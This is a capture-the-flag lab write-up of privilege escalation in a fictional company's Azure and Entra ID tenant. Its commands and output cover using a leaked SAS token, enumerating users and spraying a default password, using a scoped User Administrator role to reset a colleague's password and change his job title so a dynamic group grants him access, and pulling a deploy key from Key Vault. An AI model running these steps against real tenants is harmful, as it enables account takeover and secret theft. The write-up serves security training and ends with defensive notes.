Post

Abuse Dynamic Groups in Entra ID for Privilege Escalation

Abuse Dynamic Groups in Entra ID for Privilege Escalation

Scenario

Mega Big Tech want security to be their number one business priority, but acknowledge that they still have a way to go. Your red team is tasked with the objective of accessing the secret internal algorithm for their social app, and to help them improve their security along the way! We have identified a public GitHub repository that belongs to the company, can you use this to your advantage?

Mega Big Tech will begin rolling out their own External Authentication Provider to reduce yearly operating costs. However, threat actors have already compromised the custom provider and altered its configuration. As a result, any Multifactor Authentication (MFA) challenge will now automatically return as successful, ultimately satisfying any Conditional Access Policy (CAP) that requires the standalone-MFA grant control (as opposed to the Authentication Strength-MFA grant control).

Walkthrough

Let’s start with examining GitHub repository. It contains static index.html and an ASPX page for uploading resumes.

We see commits by Jess Armstrong

Let’s start with Add local files commit. We see the file UploadResume.aspx.cs that contains SAS token. The token provides access to resources in an Azure storage account

Azure storage account resources can be accessed using a SAS URI. A SAS Uniform Resource Identifier (URI) is a unique sequence of characters that identifies a resource. Azure SAS URIs consist of a Storage Resource URI and a SAS token.

blobServiceEndpoint and containerName together make up the Storage Resource URI. In the blob service endpoint https://mbtfileshr.blob.core.windows.net/, the storage account name is mbtfileshr

1
2
3
string blobServiceEndpoint = "https://mbtfileshr.blob.core.windows.net/";
string sasToken = "?sv=2022-11-02&ss=bfqt&srt=sco&sp=rl&se=2099-05-06T06:03:29Z&st=2024-05-05T22:03:29Z&spr=https&sig=<REDACTED>";
string containerName = "resumes";

Let’s examine each component of the SAS token

1
?sv=2022-11-02&ss=bfqt&srt=sco&sp=rl&se=2099-05-06T06:03:29Z&st=2024-05-05T22:03:29Z&spr=https&sig=Dws3bgGUWCUknRdVmRoFXItmnItJDLHy76Axgu1qNtE="
  • sv (Service Version): Specifies the version of the Storage service API to use. This is set to “2022-11-02”.
  • ss (Services): Indicates which services the SAS token applies to. Here, it includes:
    • b for Blob storage,
    • f for File storage,
    • q for Queue storage,
    • t for Table storage.
  • srt (Resource Types): Specifies the types of resources that are accessible with the SAS token. This includes:
    • s for Service (e.g., Get service properties),
    • c for Container (e.g., List blobs in container),
    • o for Object (e.g., Read blob content).
  • sp (Permissions): Details the permitted actions. In this case:
    • r for Read access,
    • l for List capabilities.
  • se (End Time): Defines the expiration time of the SAS token. Here, it is set to “2099-05-06T06:03:29Z”, indicating the token is valid until May 6, 2099.
  • st (Start Time): Specifies the start time from when the token becomes valid. For this token, it’s “2024-05-05T22:03:29Z”.
  • spr (Protocol): Restricts the protocols through which the resources can be accessed. It’s set to HTTPS, ensuring all communications are secure.
  • sig (Signature): The cryptographic signature, which is an encoded string generated from the account key and the string-to-sign. It is used to authenticate the SAS token request.

We can authenticate using the SAS token with the Azure CLI. Let’s list the containers in the mbtfileshr storage account.

1
2
3
4
5
└─PS> az storage container list --account-name mbtfileshr --sas-token "sv=2022-11-02&ss=bfqt&srt=sco&sp=rl&se=2099-05-06T06:03:29Z&st=2024-05-05T22:03:29Z&spr=https&sig=<REDACTED>" --output table

Name               Lease Status    Last Modified
-----------------  --------------  -------------------------
candidate-resumes                  2024-05-05T20:05:34+00:00

When running commands on Windows, we have to use the single and double quote around the SAS token

1
az storage container list --account-name mbtfileshr --sas-token '"sv=2022-11-02&ss=bfqt&srt=sco&sp=rl&se=2099-05-06T06:03:29Z&st=2024-05-05T22:03:29Z&spr=https&sig=<REDACTED>"' --output table

Let’s check the folder candidate-resumes which is different from what we saw in the commit. Let’s list the blobs in this container.

1
2
3
4
5
6
└─PS> az storage blob list --account-name mbtfileshr --container-name candidate-resumes --sas-token "sv=2022-11-02&ss=bfqt&srt=sco&sp=rl&se=2099-05-06T06:03:29Z&st=2024-05-05T22:03:29Z&spr=https&sig=<REDACTED>" --output table
Name                                       Blob Type    Blob Tier    Length    Content Type     Last Modified              Snapshot
-----------------------------------------  -----------  -----------  --------  ---------------  -------------------------  ----------
Angelina Lee Resume.pdf                    BlockBlob    Hot          113254    application/pdf  2024-08-23T13:46:32+00:00
Mega Big Tech New Employee Onboarding.pdf  BlockBlob    Hot          42700     application/pdf  2024-05-07T22:08:06+00:00

Let’s download PDF files

1
2
3
4
5
└─PS> az storage blob download --account-name mbtfileshr --container-name candidate-resumes --name "Angelina Lee Resume.pdf" --file "Angelina Lee Resume.pdf" --sas-token 'sv=2022-11-02&ss=bfqt&srt=sco&sp=rl&se=2099-05-06T06:03:29Z&st=2024-05-05T22:03:29Z&spr=https&sig=<REDACTED>' --output table
Finished[#############################################################]  100.0000%
Name                     Blob Type    Blob Tier    Length    Content Type     Last Modified              Snapshot
-----------------------  -----------  -----------  --------  ---------------  -------------------------  ----------
Angelina Lee Resume.pdf  BlockBlob                 113254    application/pdf  2024-08-23T13:46:32+00:00
1
2
3
4
5
└─PS> az storage blob download --account-name mbtfileshr --container-name candidate-resumes --name "Mega Big Tech New Employee Onboarding.pdf" --file "Mega Big Tech New Employee Onboarding.pdf" --sas-token 'sv=2022-11-02&ss=bfqt&srt=sco&sp=rl&se=2099-05-06T06:03:29Z&st=2024-05-05T22:03:29Z&spr=https&sig=<REDACTED>' --output table
Finished[#############################################################]  100.0000%
Name                                       Blob Type    Blob Tier    Length    Content Type     Last Modified              Snapshot
-----------------------------------------  -----------  -----------  --------  ---------------  -------------------------  ----------
Mega Big Tech New Employee Onboarding.pdf  BlockBlob                 42700     application/pdf  2024-05-07T22:08:06+00:00

Mega Big Tech New Employee Onboarding.pdf contains default password for all Mega Big Tech new employees. The company recommends users to change this password but don’t enforce it.

If Angelina Lee has been hired maybe she still has the default password set?

First, we need to find the User Principal Name (UPN) for the user. We can use the username-anarchy to generate possible UPNs. Specify the @megabigtech.com domain using the --suffix paramter, with the Full Name specified after as a positional argument. Run the command to generate UPN permutations:

1
└─$ username-anarchy --suffix @megabigtech.com Angelina Lee > emails.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ cat emails.txt 
angelina@megabigtech.com
angelinalee@megabigtech.com
angelina.lee@megabigtech.com
angelee@megabigtech.com
angelinal@megabigtech.com
a.lee@megabigtech.com
alee@megabigtech.com
langelina@megabigtech.com
l.angelina@megabigtech.com
leea@megabigtech.com
lee@megabigtech.com
lee.a@megabigtech.com
lee.angelina@megabigtech.com
al@megabigtech.com

Now, we can use Oh365UserFinder to finf if user exists

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
└─$ python3 oh365userfinder.py -r emails.txt

   ____  __   _____ _____ ______   __  __                  _______           __          
  / __ \/ /_ |__  // ___// ____/  / / / /_______  _____   / ____(_)___  ____/ /__  _____
 / / / / __ \ /_ </ __ \/___ \   / / / / ___/ _ \/ ___/  / /_  / / __ \/ __  / _ \/ ___/ 
/ /_/ / / / /__/ / /_/ /___/ /  / /_/ (__  )  __/ /     / __/ / / / / / /_/ /  __/ /     
\____/_/ /_/____/\____/_____/   \____/____/\___/_/     /_/   /_/_/ /_/\__,_/\___/_/     

                                   Version 1.1.2                                         
                               A project by The Mayor                                    
                        Oh365UserFinder.py -h to get started                            

------------------------------------------------------------------------------------------

[info] Starting Oh365 User Finder at Mon Sep 15 21:34:33 2025

[!] angelina@megabigtech.com                             Result -  Desktop SSO Enabled [!] 
[!] angelinalee@megabigtech.com                          Result -  Desktop SSO Enabled [!] 
[!] angelina.lee@megabigtech.com                         Result -  Desktop SSO Enabled [!] 
[!] angelee@megabigtech.com                              Result -  Desktop SSO Enabled [!] 
[!] angelinal@megabigtech.com                            Result -  Desktop SSO Enabled [!] 
[!] a.lee@megabigtech.com                                Result -  Desktop SSO Enabled [!] 
[!] alee@megabigtech.com                                 Result -  Desktop SSO Enabled [!] 
[+] alee@megabigtech.com                                 Result -   Valid Email Found! [+]
[!] langelina@megabigtech.com                            Result -  Desktop SSO Enabled [!] 
[!] l.angelina@megabigtech.com                           Result -  Desktop SSO Enabled [!] 
[!] leea@megabigtech.com                                 Result -  Desktop SSO Enabled [!] 
[!] lee@megabigtech.com                                  Result -  Desktop SSO Enabled [!] 
[!] lee.a@megabigtech.com                                Result -  Desktop SSO Enabled [!] 
[!] lee.angelina@megabigtech.com                         Result -  Desktop SSO Enabled [!] 
[!] al@megabigtech.com                                   Result -  Desktop SSO Enabled [!] 

[info] Oh365 User Finder discovered one valid login account.                                                                                                                                                                                

[info] Scan completed at Mon Sep 15 21:34:49 2025 

We found a valid email. Now we can run the same tool using the parameter --pwspray to check if the default password is set. It seems that Angelina didn’t change her password since being hired

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ python3 oh365userfinder.py --el emails.txt --password '<REDACTED>' --pwspray

   ____  __   _____ _____ ______   __  __                  _______           __
  / __ \/ /_ |__  // ___// ____/  / / / /_______  _____   / ____(_)___  ____/ /__  _____
 / / / / __ \ /_ </ __ \/___ \   / / / / ___/ _ \/ ___/  / /_  / / __ \/ __  / _ \/ ___/
/ /_/ / / / /__/ / /_/ /___/ /  / /_/ (__  )  __/ /     / __/ / / / / / /_/ /  __/ /
\____/_/ /_/____/\____/_____/   \____/____/\___/_/     /_/   /_/_/ /_/\__,_/\___/_/

                                   Version 1.1.2
                               A project by The Mayor
                        Oh365UserFinder.py -h to get started

------------------------------------------------------------------------------------------

[info] Starting Oh365 User Finder at Mon Sep 15 21:36:19 2025

[+] alee@megabigtech.com                         Result -                VALID PASSWORD! [+]

[info] Oh365 User Finder discovered one valid credential pair.

[info] Scan completed at Mon Sep 15 21:36:21 2025  

First we need to find the tenant, we can use https://aadinternals.com/osint/ or run Invoke-AADIntReconAsOutsider

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─PS> Invoke-AADIntReconAsOutsider -UserName "alee@megabigtech.com" | Format-Table
Tenant brand:       Default Directory                                                                                   
Tenant name:                                                                                                            
Tenant id:          2590ccef-687d-493b-ae8d-441cbab63a72                                                                
Tenant region:      EU                                                                                                  
DesktopSSO enabled: True                                                                                                
Get-TenantSubscope: /home/kali/.local/share/powershell/Modules/AADInternals/0.9.8/KillChain_utils.ps1:266               
Line |                                                                                                                  
 266 |  …            $SubScope = Get-TenantSubscope -Domain $User.Split("@")[1]                                         
     |                                                      ~~~~~~~~~~~~~~~~~~~                                         
     | Cannot bind argument to parameter 'Domain' because it is an empty string.                                        
WARNING: Requests throttled!                                                                                            
CBA enabled:        True                                                                                                
                                                                                                                        
Name              DNS    MX   SPF DMARC  DKIM MTA-STS Type    STS                                                       
----              ---    --   --- -----  ---- ------- ----    ---                                                       
megabigtech.com False False False       False   False Managed 

Let’s connect as Angelina

1
2
3
4
5
6
7
8
└─PS> Connect-AzAccount -TenantId 2590ccef-687d-493b-ae8d-441cbab63a72
Please select the account you want to login with.

Retrieving subscriptions for the selection...

Subscription name Tenant
----------------- ------
                  2590ccef-687d-493b-ae8d-441cbab63a72

We don’t have access to Azure resources

1
2
└─PS> Get-AzResource
Get-AzResource: 'this.Client.SubscriptionId' cannot be null.

Let’s enumerate Entra ID

1
2
3
> Install-Module Microsoft.Graph
> Import-Module Microsoft.Graph
> Connect-MgGraph

Now let’s enumerate our user, which happens to be an Engineering Manager.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
└─PS> Get-MgUser -UserId alee@megabigtech.com | fl                                                                                                                                                                                          

AboutMe                               : 
AccountEnabled                        : 
Activities                            : 
AgeGroup                              : 
AgreementAcceptances                  : 
AppRoleAssignments                    : 
AssignedLicenses                      : 
AssignedPlans                         : 
Authentication                        : Microsoft.Graph.PowerShell.Models.MicrosoftGraphAuthentication
AuthorizationInfo                     : Microsoft.Graph.PowerShell.Models.MicrosoftGraphAuthorizationInfo
Birthday                              : 
BusinessPhones                        : {}
Calendar                              : Microsoft.Graph.PowerShell.Models.MicrosoftGraphCalendar
CalendarGroups                        : 
CalendarView                          : 
Calendars                             : 
Chats                                 : 
City                                  : 
CloudClipboard                        : Microsoft.Graph.PowerShell.Models.MicrosoftGraphCloudClipboardRoot
CompanyName                           : 
ConsentProvidedForMinor               : 
ContactFolders                        : 
Contacts                              : 
Country                               : 
CreatedDateTime                       : 
CreatedObjects                        : 
CreationType                          : 
CustomSecurityAttributes              : Microsoft.Graph.PowerShell.Models.MicrosoftGraphCustomSecurityAttributeValue
DataSecurityAndGovernance             : Microsoft.Graph.PowerShell.Models.MicrosoftGraphUserDataSecurityAndGovernance
DeletedDateTime                       : 
Department                            : 
DeviceEnrollmentLimit                 : 
DeviceManagementTroubleshootingEvents : 
DirectReports                         : 
DisplayName                           : Angelina Lee
Drive                                 : Microsoft.Graph.PowerShell.Models.MicrosoftGraphDrive
Drives                                : 
EmployeeExperience                    : Microsoft.Graph.PowerShell.Models.MicrosoftGraphEmployeeExperienceUser
EmployeeHireDate                      : 
EmployeeId                            : 
EmployeeLeaveDateTime                 : 
EmployeeOrgData                       : Microsoft.Graph.PowerShell.Models.MicrosoftGraphEmployeeOrgData
EmployeeType                          : 
Events                                : 
Extensions                            : 
ExternalUserState                     : 
ExternalUserStateChangeDateTime       : 
FaxNumber                             : 
FollowedSites                         : 
GivenName                             : 
HireDate                              : 
Id                                    : a2e5eb93-7d64-40d8-9e23-715a9cca5112
Identities                            : 
ImAddresses                           : 
InferenceClassification               : Microsoft.Graph.PowerShell.Models.MicrosoftGraphInferenceClassification
Insights                              : Microsoft.Graph.PowerShell.Models.MicrosoftGraphItemInsights
Interests                             : 
IsManagementRestricted                : 
IsResourceAccount                     : 
JobTitle                              : Manager
JoinedTeams                           : 
LastPasswordChangeDateTime            : 
LegalAgeGroupClassification           : 
LicenseAssignmentStates               : 
LicenseDetails                        : 
Mail                                  : 
MailFolders                           : 
MailNickname                          : 
MailboxSettings                       : Microsoft.Graph.PowerShell.Models.MicrosoftGraphMailboxSettings
ManagedAppRegistrations               : 
ManagedDevices                        : 
Manager                               : Microsoft.Graph.PowerShell.Models.MicrosoftGraphDirectoryObject
MemberOf                              : 
Messages                              : 
MobilePhone                           : 
MySite                                : 
Oauth2PermissionGrants                : 
OfficeLocation                        : 
OnPremisesDistinguishedName           : 
OnPremisesDomainName                  : 
OnPremisesExtensionAttributes         : Microsoft.Graph.PowerShell.Models.MicrosoftGraphOnPremisesExtensionAttributes
OnPremisesImmutableId                 : 
OnPremisesLastSyncDateTime            : 
OnPremisesProvisioningErrors          : 
OnPremisesSamAccountName              : 
OnPremisesSecurityIdentifier          : 
OnPremisesSyncEnabled                 : 
OnPremisesUserPrincipalName           : 
Onenote                               : Microsoft.Graph.PowerShell.Models.MicrosoftGraphOnenote
OnlineMeetings                        : 
OtherMails                            : 
Outlook                               : Microsoft.Graph.PowerShell.Models.MicrosoftGraphOutlookUser
OwnedDevices                          : 
OwnedObjects                          : 
PasswordPolicies                      : 
PasswordProfile                       : Microsoft.Graph.PowerShell.Models.MicrosoftGraphPasswordProfile
PastProjects                          : 
People                                : 
PermissionGrants                      : 
Photo                                 : Microsoft.Graph.PowerShell.Models.MicrosoftGraphProfilePhoto
Photos                                : 
Planner                               : Microsoft.Graph.PowerShell.Models.MicrosoftGraphPlannerUser
PostalCode                            : 
PreferredDataLocation                 : 
PreferredLanguage                     : 
PreferredName                         : 
Presence                              : Microsoft.Graph.PowerShell.Models.MicrosoftGraphPresence
Print                                 : Microsoft.Graph.PowerShell.Models.MicrosoftGraphUserPrint
ProvisionedPlans                      : 
ProxyAddresses                        : 
RegisteredDevices                     : 
Responsibilities                      : 
Schools                               : 
ScopedRoleMemberOf                    : 
SecurityIdentifier                    : 
ServiceProvisioningErrors             : 
Settings                              : Microsoft.Graph.PowerShell.Models.MicrosoftGraphUserSettings
ShowInAddressList                     : 
SignInActivity                        : Microsoft.Graph.PowerShell.Models.MicrosoftGraphSignInActivity
SignInSessionsValidFromDateTime       : 
Skills                                : 
Solutions                             : Microsoft.Graph.PowerShell.Models.MicrosoftGraphUserSolutionRoot
Sponsors                              : 
State                                 : 
StreetAddress                         : 
Surname                               : 
Teamwork                              : Microsoft.Graph.PowerShell.Models.MicrosoftGraphUserTeamwork
Todo                                  : Microsoft.Graph.PowerShell.Models.MicrosoftGraphTodo
TransitiveMemberOf                    : 
UsageLocation                         : 
UserPrincipalName                     : alee@megabigtech.com
UserType                              : 
AdditionalProperties                  : {[@odata.context, https://graph.microsoft.com/v1.0/$metadata#users/$entity]}

Let’s check administrative units that give users scoped permissions over other Entra ID resources (and implicitely other Azure resources)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
└─PS> Get-MgDirectoryAdministrativeUnit | fl                                                                                                                                                                                                

DeletedDateTime               : 
Description                   : Scope to manage the authentication settings for the users belonging to the project.
DisplayName                   : Megabigtech-UNIT1
Extensions                    : 
Id                            : 47e4803e-a5ef-4ebc-b967-691815870abd
IsMemberManagementRestricted  : False
Members                       : 
MembershipRule                : 
MembershipRuleProcessingState : 
MembershipType                : 
ScopedRoleMembers             : 
Visibility                    : 
AdditionalProperties          : {}

DeletedDateTime               : 
Description                   : Initial administrative unit for new engineering hires
DisplayName                   : ONBOARDING-ENGINEERING
Extensions                    : 
Id                            : 4a3288aa-1a8b-485a-8ced-2bd80feef625
IsMemberManagementRestricted  : False
Members                       : 
MembershipRule                : 
MembershipRuleProcessingState : 
MembershipType                : 
ScopedRoleMembers             : 
Visibility                    : 
AdditionalProperties          : {}

DeletedDateTime               : 
Description                   : Administrative unit for Mega Big Tech integration projects
DisplayName                   : CONTRACTORS
Extensions                    : 
Id                            : 57d14139-35e8-4cfb-a2a6-2b7dcd232436
IsMemberManagementRestricted  : False
Members                       : 
MembershipRule                : 
MembershipRuleProcessingState : 
MembershipType                : 
ScopedRoleMembers             : 
Visibility                    : 
AdditionalProperties          : {}

DeletedDateTime               : 
Description                   : Teams bot password reset automation
DisplayName                   : User Management
Extensions                    : 
Id                            : beae0ee3-3284-4a4f-94c9-e3a20ef0f388
IsMemberManagementRestricted  : False
Members                       : 
MembershipRule                : 
MembershipRuleProcessingState : 
MembershipType                : 
ScopedRoleMembers             : 
Visibility                    : 
AdditionalProperties          : {}

DeletedDateTime               : 
Description                   : Allows the HR team to manage user properties
DisplayName                   : HR-UNIT2
Extensions                    : 
Id                            : f123c66b-8c78-4bd1-947f-8d43b3a21d04
IsMemberManagementRestricted  : False
Members                       : 
MembershipRule                : 
MembershipRuleProcessingState : 
MembershipType                : 
ScopedRoleMembers             : 
Visibility                    : 
AdditionalProperties          : {}

Since current user is an engineering manager, we might have some permissions in the ONBOARDING-ENGINEERING administrative unit. We can find out using the Get-MgDirectoryAdministrativeUnitScopedRoleMember cmdlet.

1
└─PS> $ScopedRoleMembers = Get-MgDirectoryAdministrativeUnitScopedRoleMember -AdministrativeUnitId 4a3288aa-1a8b-485a-8ced-2bd80feef625
1
2
3
4
5
└─PS> $ScopedRoleMembers

Id                                                                AdministrativeUnitId                 RoleId
--                                                                --------------------                 ------
Wz_yRLtppEGkF8VCd3LeQaqIMkqLGlpIjO0r2A_u9iWT6-WiZH3YQJ4jcVqcylESU 4a3288aa-1a8b-485a-8ced-2bd80feef625 44f23f5b-69bb-41a4-a417-c5427772de41

This returns the ID of a role that has been configured in the administrative unit. Running Get-MgDirectoryRole with the role ID we see that the privileged User Administrator permissions have been granted.

1
2
3
4
5
6
7
8
9
10
└─PS> Get-MgDirectoryRole -DirectoryRoleId 44f23f5b-69bb-41a4-a417-c5427772de41 | fl                                                                                                                                                        

DeletedDateTime      : 
Description          : Can manage all aspects of users and groups, including resetting passwords for limited admins.
DisplayName          : User Administrator
Id                   : 44f23f5b-69bb-41a4-a417-c5427772de41
Members              : 
RoleTemplateId       : fe930be7-5e62-47db-91af-98c3a49a38b1
ScopedMembers        : 
AdditionalProperties : {[@odata.context, https://graph.microsoft.com/v1.0/$metadata#directoryRoles/$entity]}

This role allows role members to manage all aspects of users and groups, including resetting passwords for limited admins. If this role membership is scoped to an administrative unit then permissions apply only to administrative unit members, not all Entra ID users.

Let’s check members of this role in the administrative unit, which happens to be our user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
foreach ($member in $ScopedRoleMembers) {
    $userId = $member.RoleMemberInfo.Id
    
    if (-not $userId) {
        Write-Output "No user ID available for member with Role ID: $($member.RoleId)"
        continue
    }

    $userDetails = Get-MgUser -UserId $userId
    
    if ($userDetails) {
        Write-Output "User Details: Name - $($userDetails.DisplayName), Email - $($userDetails.Mail), Role ID - $($member.RoleId)"
    } else {
        Write-Output "Failed to retrieve details for user ID: $userId"
    }
}
1
2
3
└─PS> foreach ($member in $ScopedRoleMembers) {
<SNIP>
User Details: Name - Angelina Lee, Email - , Role ID - 44f23f5b-69bb-41a4-a417-c5427772de41

Let’s see if there is anyone that we have User Administrator permissions to by checking the members of the administrative unit.

1
2
3
4
5
└─PS> Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId 4a3288aa-1a8b-485a-8ced-2bd80feef625                                                                                                                                    

Id                                   DeletedDateTime
--                                   ---------------
f5597fb4-82b3-4b25-9dfb-761a25f36f67 
1
2
3
4
5
└─PS> Get-MgUser -UserId f5597fb4-82b3-4b25-9dfb-761a25f36f67

DisplayName     Id                                   Mail UserPrincipalName
-----------     --                                   ---- -----------------
Felix Schneider f5597fb4-82b3-4b25-9dfb-761a25f36f67      Felix.Schneider@megabigtech.com

If we run Get-MgUser -UserId f5597fb4-82b3-4b25-9dfb-761a25f36f67 | fl, it also returns the job title Engineer.

Let’s reset Felix’s password

1
2
3
4
5
6
$params = @{
    passwordProfile = @{
        forceChangePasswordNextSignIn = $false
        password = "NewSecurePassword123!"
    }
}
1
└─PS> Update-MgUser -UserId Felix.Schneider@megabigtech.com -BodyParameter $params

Now let’s authenticate

1
2
3
4
5
6
7
8
└─PS> Connect-AzAccount -AccountId "Felix.Schneider@megabigtech.com"
Please select the account you want to login with.

Retrieving subscriptions for the selection...

Subscription name           Tenant
-----------------           ------
Microsoft Azure Sponsorship Default Directory

Now if we check resources, we have access to a key vault named Engineering-Vault1

1
2
3
4
5
6
7
8
└─PS> Get-AzResource

Name              : Engineering-Vault1
ResourceGroupName : mbt-rg-13
ResourceType      : Microsoft.KeyVault/vaults
Location          : eastus
ResourceId        : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-13/providers/Microsoft.KeyVault/vaults/Engineering-Vault1
Tags             

If we try to get the secrets, we receive an error Operation returned an invalid status code 'Forbidden'. It seems that we don’t have permissions to view secret values. Interestingly we see the secret name algo-github-deploy-key

1
└─PS> $secrets = Get-AzKeyVaultSecret -VaultName "Engineering-Vault1"
1
2
3
4
5
6
7
foreach ($secret in $secrets) {
    Write-Output "Secret Name: $($secret.Name)"
    $secretValue = Get-AzKeyVaultSecret -VaultName "Engineering-Vault1" -Name $secret.Name
    $secretValueText = $secretValue.SecretValue | ConvertFrom-SecureString -AsPlainText
    Write-Output "Secret Value: $secretValueText"
    Write-Output "Content Type: $($secretValue.ContentType)"
}

Let’s check if dynamic membership rules configured

1
└─PS> $dynamicGroups = Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')"
1
2
3
4
5
foreach ($group in $dynamicGroups) {
    $groupName = $group.DisplayName
    $membershipQuery = $group.MembershipRule
    Write-Output "Group Name: $groupName, Membership Query: $membershipQuery"
}
1
2
3
4
5
└─PS> foreach ($group in $dynamicGroups) {
<SNIP>
Group Name: SERVER-BACKUPS, Membership Query: (user.userPrincipalName -contains "admin")
Group Name: ALGO-ACCESS, Membership Query: (user.jobTitle -eq "Algorithm Administrator")

We see the group ALGO-ACCESS. Users with the job title Algorithm Administrator are dynamically made members of this group. We can update the job title for Felix Schneider to Algorithm Administrator, and see what resources Felix is now able to access. The command should be run from Angelina’s context

1
2
3
└─PS> Update-MgUser -UserId (Get-MgUser -Filter "userPrincipalName eq 'Felix.Schneider@megabigtech.com'").Id -jobTitle "Algorithm Administrator"                                                                                            


Now reconnect as Felix and confirm that he’s a member of ALGO-ACCESS

1
2
3
4
5
6
7
8
9
└─PS> Get-MgGroupMember -GroupId (Get-MgGroup -Filter "displayName eq 'ALGO-ACCESS'").Id | fl

DeletedDateTime      : 
Id                   : f5597fb4-82b3-4b25-9dfb-761a25f36f67
AdditionalProperties : {[@odata.type, #microsoft.graph.user], [businessPhones, System.Object[]], [displayName, Felix Schneider], [givenName, Felix]…}

DeletedDateTime      : 
Id                   : 97d65cdf-a518-48d5-838a-9af92a041115
AdditionalProperties : {[@odata.type, #microsoft.graph.user], [businessPhones, System.Object[]], [displayName, Guy Tremblay], [jobTitle, Algorithm Administrator]…}

If run try retrieving secrets, it’s successful. Note that, it could take some time due to delay according to documentation

1
└─PS> $secrets = Get-AzKeyVaultSecret -VaultName "Engineering-Vault1"
1
2
3
4
5
6
7
foreach ($secret in $secrets) {
    Write-Output "Secret Name: $($secret.Name)"
    $secretValue = Get-AzKeyVaultSecret -VaultName "Engineering-Vault1" -Name $secret.Name
    $secretValueText = $secretValue.SecretValue | ConvertFrom-SecureString -AsPlainText
    Write-Output "Secret Value: $secretValueText"
    Write-Output "Content Type: $($secretValue.ContentType)"
}
1
2
3
4
5
6
7
8
9
└─PS> foreach ($secret in $secrets)
<SNIP>
Secret Name: algo-github-deploy-key
Secret Value: -----BEGIN OPENSSH PRIVATE KEY-----
<REDACTED>
-----END OPENSSH PRIVATE KEY-----

Content Type: Mega-Big-Tech/algorithm-internal/

From the GitHub documentation, a deploy key is an SSH key that grants access to a single repository. They allow reading (pulling, cloning) from remote repositories and can also allow writing. In the Content-Type field we see path similar to git repository: Mega-Big-Tech/algorithm-internal/

If we didn’t have this additional context in real-life, it is a good idea to test connecting to GitHub (or other code repository platform that is in use) with the private SSH keys that we may find on an engagement. The SSH key may belong to a user or it may be a deploy key. If we run the command below and GitHub responds by saying Hi <depository-name>!, this confirms that it’s a deploy key.

1
ssh -i ./deploy-key.pem git@github.com

Save the key locally and clone the repository. Set the GIT_SSH_COMMAND environment variable for the duration of the command. The value of this environment variable specifies the SSH command to use when git needs to connect to a remote system.

1
└─$ GIT_SSH_COMMAND='ssh -i deploy-key.pem -o IdentitiesOnly=yes' git clone git@github.com:/Mega-Big-Tech/algorithm-internal
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
└─$ ls -lha
total 120K
drwxrwxr-x 28 kali kali 4.0K Sep 15 22:56 .
drwxrwxr-x  5 kali kali 4.0K Sep 15 22:56 ..
drwxrwxr-x  3 kali kali 4.0K Sep 15 22:56 ann
drwxrwxr-x  2 kali kali 4.0K Sep 15 22:56 ci
drwxrwxr-x  4 kali kali 4.0K Sep 15 22:56 cr-mixer
drwxrwxr-x  2 kali kali 4.0K Sep 15 22:56 docs
-rw-rw-r--  1 kali kali   33 Sep 15 22:56 flag.txt
drwxrwxr-x  5 kali kali 4.0K Sep 15 22:56 follow-recommendations-service
drwxrwxr-x  8 kali kali 4.0K Sep 15 22:56 .git
drwxrwxr-x  4 kali kali 4.0K Sep 15 22:56 graph-feature-service
drwxrwxr-x  3 kali kali 4.0K Sep 15 22:56 home-mixer
drwxrwxr-x  6 kali kali 4.0K Sep 15 22:56 navi
drwxrwxr-x  5 kali kali 4.0K Sep 15 22:56 product-mixer
drwxrwxr-x  3 kali kali 4.0K Sep 15 22:56 pushservice
-rw-rw-r--  1 kali kali   20 Sep 15 22:56 README.md
drwxrwxr-x  3 kali kali 4.0K Sep 15 22:56 recos-injector
drwxrwxr-x  5 kali kali 4.0K Sep 15 22:56 representation-manager
drwxrwxr-x  5 kali kali 4.0K Sep 15 22:56 representation-scorer
drwxrwxr-x  3 kali kali 4.0K Sep 15 22:56 science
drwxrwxr-x  4 kali kali 4.0K Sep 15 22:56 simclusters-ann
drwxrwxr-x  6 kali kali 4.0K Sep 15 22:56 src
drwxrwxr-x  5 kali kali 4.0K Sep 15 22:56 timelineranker
drwxrwxr-x  3 kali kali 4.0K Sep 15 22:56 timelines
drwxrwxr-x  3 kali kali 4.0K Sep 15 22:56 topic-social-proof
drwxrwxr-x  5 kali kali 4.0K Sep 15 22:56 trust_and_safety_models
drwxrwxr-x  5 kali kali 4.0K Sep 15 22:56 tweetypie
drwxrwxr-x  5 kali kali 4.0K Sep 15 22:56 twml
drwxrwxr-x 10 kali kali 4.0K Sep 15 22:56 unified_user_actions
drwxrwxr-x  4 kali kali 4.0K Sep 15 22:56 user-signal-service
drwxrwxr-x  3 kali kali 4.0K Sep 15 22:56 visibilitylib

Attack Path

Attack path visualization created by Mathias Persson for Pwned Labs

Defense

This section is from Walkthrough section of the lab.

  • Azure storage account SAS token was exposed in the GitHub repo, which allowed us to access the candidate-resumes blob container.
    • The SAS token allowed us to list the contents of the container, which revealed the candidate resume.
    • If a SAS token is going to be used to upload submitted candidate resumes to blob storage, the token should not have list permissions on the container.
    • It’s worth noting that with a SAS token there is no direct way to identify which clients have accessed a resource.
    • However, we can use the unique fields in the SAS, the signed IP (sip), signed start (st), and signed expiry (se) fields, to track access.
  • A new employee onboarding document was found to be stored there that also exposed the default password for new joiners.
